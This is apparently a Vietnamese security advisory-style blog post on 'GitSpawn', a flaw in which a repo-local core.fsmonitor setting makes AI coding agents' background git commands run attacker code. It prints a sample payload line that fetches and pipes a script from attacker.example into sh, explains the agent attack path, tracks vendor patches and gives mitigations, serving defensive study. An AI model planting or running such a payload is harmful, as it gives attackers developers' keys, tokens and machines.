Các nhà nghiên cứu tại Manifold Security công bố một lớp lỗ hổng tuần này gọi là GitSpawn, và đây là kiểu phát hiện khiến bạn phải đọc lại log tool-call của agent với con mắt nghi ngờ hoàn toàn khác. Bug này không nằm trong model, không nằm trong prompt template, cũng không phải kỹ thuật thoát sandbox. Nó nằm trong một setting hiệu năng của Git đã tồn tại công khai nhiều năm nay: core.fsmonitor. Claude Code, OpenAI Codex, Cursor, Grok Build, Goose, Hermes Agent, và Qwen Code đều bị ảnh hưởng ở mức độ nào đó. Một số đã được vá. Một số, tính đến thời điểm viết bài này, vẫn chưa.

Lý do đáng để dừng lại kỹ không phải số lượng CVE — mà là cơ chế phát tán. Đây là remote code execution chạy trước khi agent của bạn đọc dù chỉ một dòng trong prompt.

Cơ chế, chính xác từng bước

Git có một tính năng gọi là filesystem monitor. Thay vì quét từng file trên đĩa để biết cái gì đã thay đổi, Git có thể ủy quyền câu hỏi đó cho một chương trình helper bên ngoài và cache lại câu trả lời. Bạn cấu hình helper này qua core.fsmonitor, và điều quan trọng là setting đó có thể nằm ngay trong file .git/config của chính repo — không chỉ trong ~/.gitconfig toàn cục của bạn.

Đây là hình dạng của payload:

# .git/config bên trong một repo độc hại
[core]
    fsmonitor = "curl -s https://attacker.example/stage2 | sh"

Bất kỳ lệnh Git nào refresh index đều sẽ gọi command đó với quyền của bạn, trên máy của bạn, ngoài phạm vi bất kỳ sandbox nào mà agent có thể đang áp dụng:

git status --porcelain=2 --branch   # kích hoạt
git diff --name-only HEAD           # kích hoạt
git diff                            # kích hoạt — đây là lệnh Goose dùng để code review

Giờ nối điều đó với cách các coding agent thực sự vận hành. Mọi agent mình biết — kể cả Claude Code — đều liên tục chạy các lệnh git ngầm để dựng context: đang ở branch nào, cái gì đang staged, cái gì đã đổi từ commit gần nhất. Một số agent chạy việc này trước cả khi bạn gõ bất cứ thứ gì, trước cả khi prompt trust-workspace xuất hiện, trước cả khi bạn xác thực. Nếu repo bạn vừa giải nén, copy từ ổ chia sẻ, hay rút từ USB đã có sẵn thư mục .git bên trong, payload đã sống ngay khoảnh khắc lệnh git status ngầm đầu tiên của agent chạy.

Không có dialog xin phép. Không có gì trong transcript trông như một tool call bị lỗi. Từ góc nhìn của agent, nó chỉ vừa chạy git status, đúng như nó luôn làm.

Điểm duy nhất giới hạn phạm vi thiệt hại

Có một chốt chặn hẹp và cụ thể đáng hiểu ở đây, vì nó định hình cách bạn giảm thiểu rủi ro: repo phải đến dưới dạng file với .git đã nằm sẵn bên trong. Một lệnh git clone bình thường từ remote không tái tạo lại điều này — clone dựng lại working tree từ đầu và không mang theo .git/config do kẻ tấn công cung cấp theo cùng cách. Các vector thực tế lại nghe rất đời thường: một repo được nén gửi kèm email hay tin nhắn Slack, một thư mục “đây là project” chuyển qua ổ đĩa chia sẻ, một snapshot archive lấy từ artifact store nội bộ, một USB tại hội nghị. Bất cứ thứ gì mà thư mục .git đi kèm còn nguyên vẹn.

Điều đó thu hẹp tập hành động “có rủi ro” xuống thành một thứ cụ thể: đừng đối xử với một thư mục giải nén giống như bạn đối xử với một URL git clone. Sự phân biệt đó hiện không tồn tại trong mô hình tin cậy trong đầu hầu hết kỹ sư, và đó chính xác là lý do nó nguy hiểm.

Từng agent hiện đang đứng ở đâu

Timeline công bố (theo tracking của Manifold Security) đủ lệch nhau để “công cụ nào an toàn” không có một câu trả lời duy nhất:

AgentBáo cáoTrạng thái
Claude Code (vector core.fsmonitor)26/06/2026Đã vá — v2.1.196
Claude Code (biến thể ultrareview)15/07/2026Chưa vá tính đến v2.1.252
Goose13/07/2026Đã vá — v1.44.0, CVE-2026-72718
Hermes Agent20/07/2026Chưa vá tính đến v0.21.0, CVE-2026-71963
Qwen Code07/07/2026Chưa vá tính đến v0.22.3
Grok Build14/07/2026Chưa vá tính đến v1.0.13

Hai điều đáng chú ý. Thứ nhất, Claude Code đã vá vector gốc nhưng một biến thể liên quan (ultrareview) là một phát hiện riêng, vẫn còn mở — vá đúng cái config key cụ thể không đóng được cả lớp bug, chỉ đóng một instance của nó. Thứ hai, “đã vá” ở đây nghĩa là vendor sanitize hoặc disable config key đó trong các lệnh gọi context ngầm, không phải bản thân Git thay đổi. Đây là biện pháp giảm thiểu theo từng sản phẩm, không phải fix ở tầng upstream, nên mỗi vendor agent phải tự quyết định làm việc này độc lập.

Cái giá thực sự nếu nó xảy ra

Một khi command thực thi, bạn không đang nhìn vào một compromise có phạm vi giới hạn. Nó chạy với quyền của developer đã đăng nhập, mà trên một workstation điển hình nghĩa là:

  • SSH key và bất kỳ credential cloud nào nằm trong environment hoặc file config
  • Mọi token trong shell profile (.bashrc, .zshrc, config của CI tool)
  • Mọi repo đã checkout trên máy đó, kể cả những repo có quyền ghi vào hạ tầng production
  • Một chỗ đứng để di chuyển ngang (lateral movement), không khác gì một payload phishing đã lấy được shell — chỉ khác là cái này đến dưới lớp ngụy trang “làm ơn review codebase này giúp mình”

Nếu workflow agent của bạn có clone hoặc mở repo do người ngoài team cung cấp — bàn giao từ contractor, mẫu SDK từ vendor, báo cáo bug kèm “đây là repro”, code demo từ hội nghị — thì đây đã là một phần threat model của bạn dù bạn có quyết định vậy hay không.

Nên làm gì

Nếu bạn là người dùng các công cụ này chứ không phải người xây dựng chúng, biện pháp giảm thiểu của bạn hẹp hơn của vendor, nhưng vẫn thực tế và rẻ:

# Trước khi mở bất kỳ repo nào đến dưới dạng thư mục/archive thay vì clone mới:
cat path/to/repo/.git/config | grep -i fsmonitor

# Nếu bạn thường xuyên phải mở repo không tin cậy bằng agent, disable
# monitor ở cấp global để config repo-local không thể bật lại nó:
git config --global core.fsmonitor false
git config --global --add safe.directory '*'   # audit riêng dòng này — đừng copy-paste mù quáng

Nếu bạn đang xây dựng hoặc vận hành một sản phẩm agent, fix mà Manifold khuyến nghị đúng hướng: sanitize cấu hình Git do repo cung cấp trên mọi lệnh gọi thu thập context chạy ngầm, một cách tường minh, cho từng invocation —

git -c core.fsmonitor=false -c core.hooksPath=/dev/null status --porcelain=2 --branch

— thay vì tin rằng config của chính repo là vô hại. Cờ -c ghi đè lên bất cứ thứ gì đã bake sẵn trong .git/config, và nó không tốn gì trong hot path. Chú ý phần bổ sung hooksPath: core.fsmonitor là vector được công bố, nhưng lớp vấn đề nền tảng — “thao tác Git ngầm thực thi cấu hình do repo cung cấp trước khi người dùng ra quyết định tin cậy” — hoàn toàn có thể mở rộng sang hooks và các điểm thực thi command khác do config điều khiển. Nếu bạn đang vá một cái, tiện thể audit luôn những cái còn lại.

Bài học vượt ra ngoài CVE cụ thể này

Thất bại thú vị ở đây không phải một sandbox bị rò rỉ — hầu hết sandbox của các agent này hoạt động đúng như thiết kế. Thất bại là “thu thập context” và “thực thi input không tin cậy” hóa ra là cùng một hành động, và không ai vạch ra ranh giới giữa hai thứ đó vì config của Git chưa bao giờ được xem là một attack surface trong developer tooling. Nó là hạ tầng, không phải input. Giả định đó đứng vững suốt hai thập kỷ vì chưa có gì đọc .git/config rồi hành động ngay lập tức ở tốc độ máy, không ai giám sát, trước cả khi con người nhìn vào repo.

Agentic tooling thay đổi giả định đó ở khắp mọi nơi, không chỉ trong Git. Bất kỳ định dạng file nào agent của bạn tự động parse, chạy ngầm, trước khi bạn review source — lockfile, config CI, setting editor, manifest MCP server — giờ đều là ứng viên cho cùng một lớp bug: config được thiết kế để được tin cậy vì giả định có con người trong vòng lặp trước khi nó có hiệu lực. Nếu bạn đang chạy agent trên code từ ngoài tổ chức, câu hỏi audit thực sự không phải “repo này có an toàn không” — mà là “agent của mình tự động đọc gì trước khi mình thấy nó, và có phần nào trong đó bị thực thi hay không.”

Nguồn:

Xuất nội dung

Bình luận